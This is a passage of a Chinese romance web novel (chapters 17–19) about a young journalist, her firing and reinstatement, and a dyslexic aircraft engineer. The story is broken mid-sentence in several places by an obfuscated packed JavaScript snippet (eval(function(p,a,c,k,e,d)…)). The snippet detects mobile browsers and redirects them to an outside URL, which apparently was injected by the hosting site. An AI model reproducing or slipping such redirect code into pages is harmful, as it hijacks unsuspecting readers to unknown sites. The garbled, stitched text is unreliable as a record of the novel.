他的话里依然没有情绪，似乎只是想探究魏萱的心事。可他这种高高在上的人物，有必要这样在意自己的想法么？魏萱觉得不现实，却还是如实回答了他的问题。“我没有。” “那是为什么呢？如果是因为报酬的话，那么我在准备了。”傅予深继续轻声问。有那么一瞬间，他过分在意的眼神几乎让魏萱产生了错觉。 可魏萱是一个有自知之明的人。她很快散去不该有的念头，轻轻咬咬唇道：“我只是不想接受你的同情而已。傅工程师，谢谢你的所有好意。” 粉色的唇珠在贝齿的映衬下娇柔可爱。眼尾的一抹绯红更增添了魏萱此刻的妩媚。偏偏眼眸里又有一丝不甘，所以精致的脸庞便又多了些坚韧的味道。这样的一张脸在停车场的高级轿车里，出现得很合时宜。 “同情？”傅予深重复了一遍，低沉的语气伴着新车的气息，有一种让人沉溺的清冽。魏萱甚至能感觉到，他在反思，反思他是什么时候做了什么事让自己觉得被同情了。 “难道不是同情吗？”魏萱忍不住扭过头反问。“那些报道并没有什么难度，你大可自己完成。你实在不愿意，找下属完成也不是不可以。为什么一定是我呢？” 其实魏萱自认为不是斤斤计较的人，连池雪露的敌意都能照单全收，一事不落的忍下来。可不止为什么，此刻面对傅予深，她忽然就想问个明白。 然而，傅予深似乎没有她意料中的反应。他只是垂下眼眸，随手松了松衣领，这个动作，好看的人做起来就更好看。光洁修长的脖颈时隐时现，明显的喉结带着独属于男人的力量感，让魏萱觉得陌生又优雅。 “不是你想的那样。”松过衣领，傅予深的眼眸又看向她。 “怎么不是？”魏萱笃定极了。 傅予深不急，反而愈发放柔了声音，淡淡道：“魏记者，你写的那两篇报道，我一共读了十六遍。” 说不清是什么感觉，只知道脑海中像是有什么炸开了，让魏萱有一瞬间的心悸。随后，她的心一点点跳到了喉咙眼。 傅予深却没看她，而是淡淡继续道：“之所以看了这么多遍，是因为我需要花很久的时间才能看懂……” 魏萱似乎想到什么，不由得蹙蹙眉。 果然，下一刻傅予深继续道：“是的，魏记者。我有轻度的阅读障碍。” 虽然有了心理准备，却还是忍不住轻轻地啊了一声。关于阅读障碍，魏萱自然懂。有阅读障碍的人会在阅读的时候漏字错字，音素混乱，甚至严重的还会不能整理书本，注意力难以集中。即便是轻度的，也会有存在文字言语理解困难的问题。 所以，她实在无法把这种病和眼前这个优秀出众的男人联系到一起。 眼前，傅予深笑了笑，缓声道：“所以，你真的是在帮我的忙。魏记者，别多想。” 魏萱还想再质疑他，可随后，一些记忆片段在脑海中慢慢浮现。他给自己写出来的笔记除了公式化的内容之外，有一些话的确存在语序之类的问题。她之前以为是他太忙，现在想来，可能并非如此。还有，他之前夸赞自己的报道时，说的是别人觉得报道不错，而不是他觉得…… “可你是飞机工程师啊？业内都说……”魏萱忍不住问。 “我只对飞机手册感兴趣。”傅予深顿了顿，似乎想补一句什么，却又略过了，继续道：“很奇怪吧，我也觉得奇怪，但从小到大，我唯一能看进去的就是这类知识。虽然理解起来也并不容易，但至少只要努力，收获还算不错。” 魏萱渐渐明白了，随后，她又有些愧疚起来。“那岂不是，一直学得很艰难？” “左不过是一个十六遍，还是两个十六遍的区别而已。”傅予深的脸色云淡风轻。可魏萱光想想也知道，他一路走来可能并没有人前看上去那么风光。 想着想着，魏萱愧疚起来。“我还以为……真对不起，早知道这样，我会继续帮你的忙的……我只是……” “是我让你误会了。”他径直说着，视线似乎又有一瞬极具侵略性地将她拢在眼眸里，可没等魏萱觉察，他已经转过头去。“话说开了就好，要不然，我真是一时半会找不到人帮忙。” 魏萱想了想，多少也有些明白。这样的事大约不太好跟同事们说，所以倒不如花些钱求助自己。“你放心，我肯定保密。报道我也继续改。”她立刻打起了包票。 “那太好了。”傅予深眉眼一弯，又道：“对了，今天抱歉把你带上车。” “不不不，千万不能这么说……”魏萱想到方才下课时的场景，她简直有点害怕。刚才要借笔记的男大竟然带着三个同样高高大大的室友一块过来了，黑压压的一片，她虽然是记者，但对这种场面也有点社死加紧张。 还好，傅予深不知从哪里出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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魏萱还想再说什么，可车已经再次启动了。硕大的乌黑车身，高级的银色轮毂，看上去真是力量感十足。他好像很喜欢这种相对比较庞大的车型。 两个人就这么恢复了工作往来，魏萱没觉得，可其实她的步子却轻快了不少。连带着第二天去新丽景开会，整个人都十分精神焕发。 公司没有制服，魏萱之前就一直是运动装。直到那天被苏晓打开新思路，她现在才渐渐穿起了裙子。今天是一套淡紫色的毛线裙，这种颜色很难驾驭，但魏萱却穿出了清澈干净的气质。在华丽精致都市丽人堆里，她显得安静如水。 包括在会议室，她也是坐在了最后的位置上。旁边，赵南眯着眼，一边打哈欠一边说：“今天发月终考核结果啊。” 魏萱闻言心里一咯噔，正要说话，却见李可笑眯眯走进来，随手把她的黑色笔记本撂在桌面，然后与大伙挨个打起了招呼。 “姐，你养马啊？”有人眼尖，瞥见那笔记本固定扣上面的H型LOGO，满脸惊讶问道。 “啊，你说这个笔记本啊。”李可顿了顿，笑道：“之前买包的时候顺手带了一个，凑整。” 赵南原本正在发材料，听见这话，眯着眼把笔记本抢过去，撇嘴道：“拿三千多的爱马仕笔记本凑整啊，真豪气。等会，怎么跟那个那么像。” 魏萱正埋头苦写呢，根本没顾得上有人把自己手边的笔记本随手拿过去了。她甚至连那边的几句嘲笑都没听见。 17. 开除 “假的吧，哈哈哈。”“这种东西也买假的，没必要吧。”“你懂什么，这种东西才买假的，反正只要不跟真的放在一起，就看不出来是假的。而且，这种东西，真的太少了，有几个像李可姐这么大方的。”“看来雪露姐最近给李可姐发了不少绩效啊。” 众人说得太热闹，魏萱这才抬起头来，然后一脸惊讶地发现，赵南手里拿着的两个笔记本，好像有一个是从自己的手边拿走的。 不对，是傅予深昨天借给自己的那一本…… “赵南，快还我。”魏萱眉头一紧，赶紧道。 “你急什么。”李可懒懒嗔了她一眼，浅笑道：“又不是真的，还心疼啊？” 这话说完，众人不由得都扑哧一声笑出来。 魏萱闻言一怔，随后脸渐渐红到了脖子根。没想到，赵南却啪地一声将两个笔记本分别搁在两个人面前，然后翻着白眼道：“谁说我萱姐的是假的？” 都是真的？大伙有点震惊，顺着赵南的动作看去，却见李可的笔记本和魏萱的笔记本摆在一起，竟然是魏萱的那本牛皮看上去质感更好。还有五金锁扣也是。再细看，李可的那本连H扣的位置也有些歪…… “我去。”有人当即懵了。其他人反应过来，一个两个都不再搭腔，索性摆出没看见的动作。 这事儿，可太打脸了。果然，李可的脸刷得红了。 “开会。”她瞪了一眼魏萱，闷声说道。 魏萱趁机把自己的笔记本抱回来，十分埋怨地给了赵南一个手肘。“一天不怼领导，你就浑身难受是不是？”她道。 赵南也委屈。“萱姐，我哪知道你的本是真的，我今天还合计替你哄她高兴呢……姐，你是不是在这跟我玩扮猪吃老虎呢，这么贵的本……” “别人送的。”魏萱轻声说着，小心翼翼地将本子放回了背包里。 大约是被魏萱打击到了，李可今天的会开得很短。说了不到五分钟，就说到了考核的事。然后，她一脸遗憾地看向魏萱。“魏萱，上个月只有你一个人是D，雪露姐找你，现在就过去吧。” 赵南投来同情的眼神，魏萱却不意外。上回在“私己”餐厅的事之后，她就预想到了这个结果。不过，她不是没有准备的人。这个月她还有一篇明航报道，下个月她打算找找社会热点。这样，总不至于一个季度都是垫底的。 可事情，似乎比她想得还要严重。进了办公室的门，只见永远光鲜亮丽的池雪露今天穿了一套雪白的西装，配上香奈儿的首饰，显得气质格外高贵。对面站着的，是先自己一步进门的李可。 “吴允已经辞退了吧？尽快让人把吴允的办公桌收拾出来，我又招了一个实习生，本事不错，应该很快就能转正。”池雪露吩咐着，李可在对面点头。 魏萱不敢打扰两个人的对话，索性帮池雪露把空了的杯子再次续满。这会，李可又问：“人事那边问，说用不用给吴允赔偿，或者搞个募捐什么的。” 听见这话，魏萱眼皮一跳。她反应过来了，她们说的是吴允的事。 吴允是B组的人，也是苏晓的高中同学。陈昱出差之后，池雪露吩咐说要加大对陆言言出轨一事的跟踪力度。可B组的人都觉得这种手段不太妥当，于是便有人把皮球踢到了吴允那，反正吴允是个实习生。池雪露知道了之后，就亲自给吴允打了电话，告诉他这件事只要办好就能转正，反之，就走人。吴允和魏萱一样，特别喜欢新丽景，于是虽然觉得跟踪别人不太好，但还是答应下来。不过，谁也没想到，他竟然足足盯了几天几夜。然后第三个晚上，他在停车场想打电话跟池雪露说有点撑不住的时候，被陆言言的司机撞了。 好消息是命保住了，坏消息是以后都不能走路了，只能靠轮椅。 魏萱听见这事的时候心里难过极了，还特意与苏晓一起去看了吴允。没想到这会，池雪露竟然也提起了这事。 “不用补偿了，补了他，咱们的业绩又不好看了。何况他就是个实习生。”此刻，池雪露压低声音对李可道：“而且，这事说出去到底不好听，所以募捐也别弄了，动静越小越好。反正陆言言那边也给了他不少的赔偿了。” “那要不要，给他个外联线人的活？”李可又问。所谓的外联线人，其实就是在公司外部帮忙搜集和提供热点新闻线索的人。 “早就是网络时代了，哪里还有这样的岗位？”池雪露有些不耐烦地反问。“再说了，我们公司又不是做慈善的，说出去像什么样子。以后这个人少提，尤其不要让高层知道这件事。你们也不许去探望，不过就是个实习生而已。” 一句右一句，说得魏萱的心越来越凉。 李可知道池雪露不高兴了，便不再替吴允说话，而是冲着魏萱开了口。“你来了啊，雪露姐正好要找你说明航的事呢。” 池雪露正被李可说得一肚子火气，这会见了魏萱，果然没有好脸色。“明航的最后一期报道给李可，她想出了一个很好的角度。你就不用写了。”她径直道。 旁边，李可顿时欠身笑笑。 魏萱一惊，赶紧抬头道：“雪露姐，是明航突破技术封锁的事吗？我已经找好资料了。” “你在哪里找的资料？”池雪露倏地抬起头来。 魏萱不傻，知道自己不能把傅予深交代出来，于是只道：“朋友帮忙找到的。” 一听这话，李可松了一口气。“那不太可靠吧。” “没错。”池雪露瞥了一眼魏萱淡紫色的毛衣裙，猛然发现她的气质最近蜕变了不少。她吸了一口气，摆摆手道：“这事就这么定了。你们都出去吧。” 魏萱觉得，自己忍得够久了，不想再忍了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427163|168619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何况还有吴允的事，怎么能就这么不了了之呢？于是她一咬牙，当即开了口。“雪露姐，虽然李可姐也陪我做明航的报道，但按照咱们公司的惯例，我是有优先发报道的权利的吧。何况技术封锁这个角度，我有把握说我找到的资料比李可姐找到的更权威更具体。” “还有，还有吴允的事，雪露姐，那天的电话虽然没有拨出去，但我们都知道电话是要拨给您的。这么说来，是不是可以考虑给吴允争取一个工伤。就算他是实习生，拿不到补偿，可出于人性化关怀的角度，公司也应该有一些补偿性的行动吧。雪露姐，吴允的父母都在医院，她们原本是盼着自己的儿子出人头地的，就算以后做不到这一点了，我们难道不应该给他们一些希望，让他们知道吴允还是一个有价值的人吗？吴允说了，哪怕是校对的工作也可以，哪怕是兼职也没问题。” “雪露姐，我们都是做新闻的，都知道做新闻最重要的是正义，是公平，是心怀善良。所以，雪露姐，咱们现在是不是拉吴允一把，哪怕试试呢，至少别让他心寒。” 平静的人偶尔爆发，却也有泄洪般的力量。此刻李可看着一袭淡紫色毛衣裙的魏萱，她分明看上去温柔如水，可说出来的话却让人振聋发聩。 再看向池雪露，此刻她显然也呆住了。她们都不知道的，池雪露此刻脑子里莫名其妙响起来的，其实是宋璟宇的那句话。“新闻的力量是非常强大的。请你，不要远离这股力量。” 我才没有远离新闻……池雪露平静地想着，随后，她敲了敲桌子，淡淡道：“魏萱，你能说出这些话，我还是很高兴的。但我要告诉你的是，在这个社会，你永远不能靠着你的一腔热血活下去。现在，是我坐在这里，你要明白，我做出的所有决定一定是为了公司的长远考虑，而不是为了一个人两个人的利益考虑。什么时候等你和我换了位置，你才有资格来质疑我的决定。” 李可最了解池雪露。她知道，现在的池雪露就在情绪爆发的边缘了。 “雪露姐，魏萱早上吃多了撑的，我带她去天台清醒清醒。”李可干巴巴地笑着出来打圆场，随后拉住了魏萱的胳膊，就要把她往外扯。 “李可，松开。”池雪露拿笔尖指着她。 “我没事。”魏萱平静地向李可道谢。李可这才慢慢松了手。 “雪露姐，我说的是真心话……还有韩逸的事，我一直都想跟你解释。雪露姐，韩逸……” “我不想听了。”池雪露打断了魏萱的话，冷冰冰笑道：“魏萱，你被开除了。现在，你不属于新丽景了。” 一句话，说得李可心一坠。而魏萱的脸色却格外平静。她不怕。方才打算说出一切想法的时候，她就预想到这个结局了。可她还是要说。 没有胆气的人做不了新闻。何况，她若不争，这世界就更不公平了。 18. 报酬 大约真是把池雪露惹急了。此刻，她就站在办公区的最中央，一边懒洋洋地品着咖啡，一边看着魏萱收拾东西。她这幅架势，大伙自然不敢来慰问。只有赵南和苏晓算是讲义气，一左一右地帮忙收拾起来。 “你们回去工作吧。”魏萱轻声说着，眼眶却有点红。她不后悔替吴允争辩，也不觉得自己做得不对，只是心里实在有些难受。新丽景是她大学的时候就一直很喜欢的公司，能留在这里，也是她一直以来的愿望。 可阴差阳错，她得罪了池雪露。有这样的一尊大佛在，自己被踢出新丽景也就是迟早的事了。 李可似乎是重新觉醒了，一改刚才替她说话的紧张神色，这会冷冰冰地走过来，蹙眉道：“魏萱，这件事到底是你不对，你别弄得好像受了多大委屈似的行不行。” “人都要走了，李可你不至于吧。”赵南气得翻了个白眼。 李可笑了笑，淡淡对着赵南道：“赵南你不用跟我这样，咱们公司什么规矩你也知道，不服从领导命令的人，我们一概用不起。魏萱今天对着雪露姐发脾气，我是亲眼看见的。”说着，她还要拉魏萱下水。“是吧，魏萱？” 魏萱没吭声，默默把纸箱抱在了怀里。纸箱很沉，因为她的专业书籍是整个办公室最多的。她一个人勉强抱起来，然后看着最上面的一棵仙人球绿植，心里不由得一堵。 这棵仙人球是自己转正那天买的，想着和它一起长大，长多大都好，只要每天都在长就行了。总有一天会长成与现在完全不同的样子。 可现在，自己要带着它一道走了，要是因为自己犯了错误而被赶走，那她也认了。偏偏是因为与上司意见不同被开除的。错误在谁呢？魏萱不明白，她只是觉得委屈，觉得不公平。这个世界，没有本事的弱小者真的就不能提出半点异议吗？ “萱萱。”苏晓看着她眼眸里的泪花，有点心疼地帮她抱过箱子。 魏萱勉强说了句没事，然后，把自己的工作证摘下来，轻轻撂在了桌子上。 与此同时，她眼窝里的泪花终于忍不住，啪嗒一声落在了地上。 几乎是同时，门口宋副总的秘书走进来，笑呵呵喊道：“雪露姐，好消息，明珠航空高层那边又要出几期有关飞机维修安全的专题报道。人家说了，就要你手下的魏萱亲自写，别人都不行。” 池雪露脸色一变，手里的咖啡杯差点就掉在地上。好消息？这算哪门子的好消息！ 魏萱还没反应过来，手中的电话屏幕却先亮了，随后出现的是傅予深的微信消息。 “魏记者，给你安排了报酬，查收。” “我……去……太抓马了……比上午的真马假马还要抓马……”赵南忍不住雀跃着吁了一声。 本就震惊无语的李可听见这话，顿时被气了个半死。 似乎一切问题全都迎刃而解了。即使池雪露不高兴，也不得不把魏萱暂时留下来。而且，有了这个长达三个月的专题报道，魏萱一时半会也不用再担心季度淘汰的事了。 那么大的纸箱子，里面的东西又一样一样被摆了出来，包括那个长得圆滚滚的仙人球。 另一边，池雪露脸色难看地拉着宋总的秘书出了门，而后一整个下午都没有再回来。李可则十分忐忑地拉住魏萱，低声问她到底在明航有什么资源。 “什么都没有，我作证，凭实力说话。”苏晓来了劲头，学会了赵南的怼怼精神，让李可的脸色更加难看了。 就这么收拾到了下班的时候，苏晓拉着魏萱一道去了居酒屋。趁着苏晓点菜的功夫，魏萱回了傅予深的微信。 “这个报酬太贵重了。” 出乎意料，傅予深发来的是一条语音。她一愣，很快却明白过来。他是不太擅长文字的人，当然更喜欢用语音交流。 她习惯性地转了文字。傅予深说得清清楚楚，他只是向孟总提出了宣传申请，剩下的，一概是会议商讨和层层审批的结果。 “你要相信明航的眼光。”对面传来苏晓的声音。她点了两杯酒，一杯青梅，一杯杨梅，剩下的则是鸡肉串和炸物。 “你的报道写得那么好，明航又不是傻的。”她继续道。 “那吴允的事呢？”魏萱轻声问。 “你有什么想法？”苏晓将杨梅酒递给她。魏萱一向不怎么喝酒，可今天的心情大起大落，实在需要一点抚慰。 酸甜回甘的杨梅酒落胃，魏萱慢慢道：“等他恢复了，问问他的心思吧。我总觉得，他还想做新闻。现在网络渠道这么多，他做个自媒体也不是不行。到时候，需要咱们帮什么忙，咱们尽力就行了。” “那新丽景这边呢？不再争取一下了？”苏晓反问。 魏萱摇摇头。“宋副总完全放权，我们是争不过池雪露的。唯一的办法，就是一点点强大起来。她有一句话说得很好，等我和她位置互换的时候，我才有资格去评价她的决定。甚至，是改变她的决定。” “妈……呀……”苏晓有点听呆了。她知道魏萱和她们不一样，是个有决心有毅力的人。但今天，她似乎又看见了魏萱的另一面。 说过了这些不开心的事，两个人沉浸在了眼前的美食里。又因为明天是周末，所以苏晓约了魏萱一道逛街。 魏萱默默算了算，去掉房租，去掉给妈妈的一千五百块转账，她现在手里的钱足足有一万七千块。“买裙子吧，你穿裙子好看。”苏晓笑眯眯地跟她告别。 魏萱点头答应下来。 当晚，明航的资料由李可转了过来。魏萱看了一眼文件要求，顿时有些傻眼。因为她除了得在不同部门进行采访之外，还有相当大的一部分体验任务是在停机坪上……也就是说，要和那群人高马大的机务们一起，看飞机是怎样被疗愈的。 “不买裙子了……”她默默给苏晓发微信。“我怕冻死，还是穿裤子吧……” 不等苏晓回答，微信页面忽然又蹦出一条好友请求。魏萱点开，旋即发现，头像中这个美艳的制服自拍是范姜合的。 也就是说，已经没有合作关系的范姜合有话要对自己说。 她会说什么呢？魏萱看着电脑上自己刚刚打开的明航宣传报道文件，倏地反应过来。 傅予深！ 是了，她不仅要和一群陌生的机务们一起工作，还很可能要和傅予深朝夕相处…… 毫不犹豫地通过了范姜合的好友请求，魏萱轻轻地点开了她的朋友圈。没有太多的精修图，大部分都是直出，可张张都很精致考究。就连万圣节的cos，也一眼就看得出是个大美女。 说不羡慕是假的，人和人好像天生就不一样。有的人只能为活下去而奔波，有的人却早早就开始享受生活的快乐。 没等她再多想，范姜合的微信已经发过来了。“魏记者你好，我是范姜合。想请你吃个饭，可以吗？” 发过来的是一条语音，而不是文字消息。魏萱犹豫了一瞬，到底还是答应下来。她总觉得，上次发病旅客的事，她是有些对不住范姜合的。 两个人很快见了面。坐在餐厅里，对面的范姜合穿了一身精致的小香风套装，乌黑的长发披在肩上， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431208|168619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显得贵气又明艳。与她相比，魏萱就有点平平无奇，不过穿了件简单的卫衣，又梳了高马尾，任由蜷曲的卷发垂下来。 “想吃点什么，随便点就好。”范姜合笑眯眯地将服务生递给她的菜牌又递给魏萱。魏萱没什么食欲，便随意点了道牛排沙拉。 大约是两个美女坐在一起的缘故，服务生格外客气。魏萱其实有些不自在，范姜合却如鱼得水，还笑着打趣了两句。 目送着服务生离开，范姜合扭过头来，看向魏萱道：“魏记者，你说我是不是要谢谢你，没有把我的名字写进那篇报道里啊，要不然岂不是全国的人都知道是我差点误操作害了人家。” 魏萱蹙蹙眉，她即使再迟钝，也能感受到这话里的机锋。“不是这样的。”魏萱淡淡道。“且不说新闻就是挖掘凡事最真实的一面，就说你那天的所有举动，其实都符合公司的规范和人之常情。即便有些小问题，那也是瑕不掩瑜的。不信你去看那篇报道下面的评论，没有一个人质疑你当时的行为不准确，所有人都在夸明航的响应制度快，救人流程完整。” 这番话似乎有些出乎范姜合的意料，她稍稍怔了怔，看向魏萱的眼神渐渐变了些味道。“魏记者入职似乎没多久，可给人的感觉，却是士别三日当刮目相看。” “过奖啦，我真是就事论事。”魏萱稍稍垂下了眼眸。 范姜合这才细致地观察起魏萱，只见她肤色白皙，睫毛修长，一双眼睛水润润的，巴掌大的小脸气质越来越好。 其实近来苏晓也常说魏萱变化大，她把这归结为大城市的水土真的养人。 牛排沙拉被端了上来，对面的范姜合则点了一道惠灵顿牛排。不过大约是看上去就有些油腻，她戳了两下便不大下口了，反而与魏萱聊得愈发热络。 “其实早就该请你吃饭的，但傅予深最近事忙，我也有点抽不开身。”范姜合咯咯笑了两声，又看着魏萱认真道：“对了，魏记者单身吗？” “是。”魏萱轻轻点头。 “这样啊，那挺好，回头我给你介绍点优质的。”范姜合继续笑。 魏萱知道这是客气的话，自然没当真，慢慢咽了一口牛排，又听范姜合继续道：“其实有时候我也觉得单身挺好的，至少自由啊。不像现在，喏，你瞧，予深动不动就转账过来了，虽然说是怕我的钱不够花，但我总觉得不自在。” 举过来的新款手机伴着一条水晶链，明晃晃的，让魏萱不得不抬头看了一眼。那个熟悉又陌生的头像就摆在眼前，还有一条转账记录，具体金额没看清，但魏萱却看清楚了时间。 正好，是她第一次蹭他车的那个晚上。也就是说，这笔钱，其实是傅予深用来支付范姜合请自己吃饭的钱的。 显然，范姜合并不知道自己在车上，所以用这条转账记录来证明他们的关系何等密切。 不过，这对魏萱来说也不重要。人家是情侣，郎才女貌，天作之合，这都是不用证明的。魏萱其实也能理解范姜合的心情，换做是谁，拥有这么优秀的男朋友，谁都忍不住想炫耀。 “我觉得，傅工程师跟姜姜姐你很配。什么时候订婚，一定要叫我，我必须要去喝喜酒。”魏萱一脸真诚。 “好，真有那天，到时候肯定叫你。”范姜合眯着眼一笑，耳边的钻石银光闪烁。“不过话又说回来了。其实有时候，予深身边绕着那么多主动的女生，我心里也不舒服。毕竟有一句话，叫瓜田不纳履，李下不整冠。魏记者，你博学广知，一定知道这句话是什么意思吧？” “我？”魏萱愣住了。 19. 上车 纵使刻意低调，魏萱的到来还是引起了轩然大波。原本是一群你也不嫌弃我脏，我也不嫌弃你累的高高大大男子汉在一起修飞机，忽然身边多了个温柔年轻的小记者，虽然她一声不吭地埋头苦记，可大伙还是觉得喜欢，一边干活干得更起劲，一边时不时照顾魏萱，怕她被油污溅到。 在这样的场景进行了三四回之后，乔森乔经理终于忍不下去了，指着韩大宇道：“大宇啊，你带着魏记者去远机位吧。那边有一架飞机存在故障，正排查呢。” 韩大宇利落答应下来，做好手里的工具盘点后，笑呵呵地带走了魏萱。魏萱自己也松了一口气，想着总算能静下心来做个记录，没想到走了半个小时后，发现站在那静静排故的竟然是傅予深。 和那些人不一样，傅予深的蓝色衬衫质地精良，剪裁得体，几乎是完美地贴合在他的身上。刀削般的侧脸轮廓完美，宛如世上最华贵优雅的雕塑。 同样是面对一架飞机，傅予深的眼眸里写着的是尽在掌握之中的淡然，与方才魏萱所经历的喧嚣完全不同。 韩大宇一见傅予深，显然就规矩不少。然而，他正要从怀里摸出手册，脸色却忽然一变。“完了，工具忘还了，深哥，我得先回去一趟，马上回来，马上回来。” 说着，他从裤兜里摸出一个合金式样的扳手，匆匆向来时的方向跑去。这样，这架飞机旁边，就只剩魏萱和傅予深了。 似乎对韩大宇的疏忽很不满意，傅予深的视线淡淡扫来时，带着几分不耐。魏萱心中一凛，赶紧先声夺人：“傅工程师，你忙你的，我记录我的，绝不会打扰你。” 傅予深略略点头，蹙眉打亮了手中的手电筒，向着涡扇中细细探查。魏萱说到做到，一声不吭地拿着笔记录。 这会，已经算得上是初冬了。远机位的风比近处更凛冽，魏萱稍稍垂眸，便看见自己的手背已经被吹得通红。她轻轻搓了搓，心里渐渐对这群看上去性格豪放的机务们生了几分同情。北方的天气并不好，冬冷夏热的，机坪上的温度有时候甚至冷得翻倍。所以这群人其实并不容易。 魏萱暗暗下了决心，她要把这篇报道做好，要对得起这些人为了保障飞机安全而做出的所有努力。 正这样想着，风却越来越大，一抬头发现原来天已经阴沉了。随后，不等她再多想，豆大的雨点已经噼里啪啦地落下来。 好在穿的是牛仔裤，可即便如此，也被那大雨簌簌打透了。上身的反光条外套是防水的，不时往下头滴着。可头顶什么都没有，栗色蜷曲的卷发很快就变得湿漉漉起来。 “上车。”傅予深不知从什么地方走过来，指着飞机旁边的场内车淡淡道。“我带你回去。” 他高高大大的身材挡在前面，魏萱竟然觉得风雨顿时小了不少。再看他，领口已然湿透，乌黑的发梢也带着雨水的潮湿，让他的脸显得更矜贵出挑。 “我走回去就行。”魏萱摇了摇头，感受着风雨扫向自己的脸颊，啪嗒啪嗒的，除了冰冷，她的皮肤甚至觉得有些微微的疼。 “现在就上车。”傅予深的眼眸闪过一丝焦灼。“雨太大了。” “不用不用，真不用。以前跑新闻的时候，什么天气都遇上过。”魏萱勉强地笑着，身体往后连连退了几步，手也止不住地摇。 傅予深看向她的眼神微微变化，显然是觉得她有些奇怪。“魏记者，你什么意思？”他淡淡眯着眼问，半高的衣领挡不住他修长的脖颈和微微凸起的青筋。 雨打得视线有些模糊，魏萱想，此刻的自己看上去一定很狼狈。偏偏他没有，只是工装湿透，服帖地巴在他肌肉鲜明的胳膊上，让他显得更加健硕有力。 “没什么意思，傅工程师，你快上车吧，我走过去，真的没关系的。”魏萱几乎是哀求的语气了。她也不想他再陪自己这么淋着。” 可傅予深显然也不想再与她继续掰扯了。他淡淡拧着眉，上前一把握住了她的手腕。虽然隔着厚厚的外套和一层打底衫，可她还是能感受到他手掌的温热和力量。 一种触电般的感觉让她脚步一滞。随后，她努力地想把自己的胳膊抽出来。 “傅工程师，你快走吧，我真不用，求你了，我真不用。”雨天，她的声音好像比平时更湿润了。有一种刚从江南烟雨中走出来的娇柔。 可她的力气在他面前似乎不值一提，他淡淡看着她用力挣扎，眼底尽是不解。 “上个车而已。”他忽然柔下声安慰她。“魏记者，我送你到机库，就好。” 可魏萱依旧不答应，她摇着头，白皙的脸颊上说不清是急切的泪水还是刚落下来的雨水。红润的嘴唇向下用力抿着，湿漉漉的双眼里写着哀求，又写着坚定。 “我不想让你淋着。”他的声音微微有些嘶哑，眼眸锁紧了魏萱。 “不行，傅工程师，你让我走过去吧，我真的可以走过去的。”魏萱咬咬牙，见傅予深不肯松手，一脸倔强道。 雨偏偏越下越大了。傅予深看着魏萱几乎湿透的头发，手腕徒然一松。魏萱还没来得及高兴，眼前高大的男人已经凑过来，双手稍稍用力，将她从地上抱了起来。 他要把她强行送到车里！ 魏萱心跳猛然加速，脑子里的不可以三个字却喊得越来越大声。“不行，你放我下来，傅予深！我不可能跟你坐同一辆车！傅予深！” 她甚至不计身份，喊了他的名字。随后，她愈发用力地在他的怀里挣扎，却依然无济于事。毕竟，在高高大大的凶兽面前，一只小猫是没有反抗的余地的。 车门就在眼前了。不用看也知道，车里是温暖而干燥的。可魏萱却如临大敌，她咬着牙，双手竭力推开他的胸膛。“不行，傅予深！我不能上车！瓜田不纳履！！你听没听过这句话！你知不知道这个道理！傅予深！所以我不能上车！” 听见她的话，傅予深的脚步顿住了。他垂下眼眸看怀中的小姑娘，像极了没有獠牙只会嘶哈嘶哈的小猫。她的眼睛湿哒哒的，睫毛也一样。 傅予深忍不住蹙了眉，带着温热的气息垂眸。“魏萱，看清楚了，这是停机坪，不是你的什么瓜田。” 一句话，反而让魏萱愣住了。而后，她感受到自己的身体被轻轻放在了副驾驶的位置上。他甚至，把安全带抽出来，轻轻地递给她。 “傅工程师……”她依旧满眼地不安心，满眼地焦躁。 “你坐在这，我不上车。”他漫声说着，随手关了车门，又用手在外面平静地抵住车门，不给她逃下车的任何机会。 ？魏萱显然没想到还有这种可能，她不由得怔住了。随后，隔着车门，她看着他握着对讲，对着那边发号施令。 显然是在叫另外一辆车的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而且，不得不承认，他是个很好的人，好到让魏萱觉得，范姜合是世界上最幸运的人。 让魏萱没想到的是，踏出浴室的门，手机在洗手池旁响起。 她收到的竟然是傅予深的消息。 “我查过了。”顿了顿，他又补了一句。“你说的那句话的意思。” 显然，他说的是有关瓜田的那一句。 魏萱觉得手机有点发烫，她咽咽口水，一时竟然不知道该怎么回复。 似乎知道她在这头捧着电话等着，对面的傅予深又发来了一句简单却又直接的问话。 “所以，为什么要避嫌呢。” 魏萱仿佛也看见了，看见手机对面的男人领口微微敞开，蹙眉敛目的慵懒模样。光凭他的车，她也能想象得出来，他住的地方一定很好，房间里大半是低调又奢华的黑色装修。 为什么要避嫌？还用说明白吗？魏萱觉得无奈。可能对面的男人自视坦坦荡荡，所以反而理解不了自己的想法吧。 魏萱叹了一口气，正要锁屏，却看见苏晓的名字弹出来。 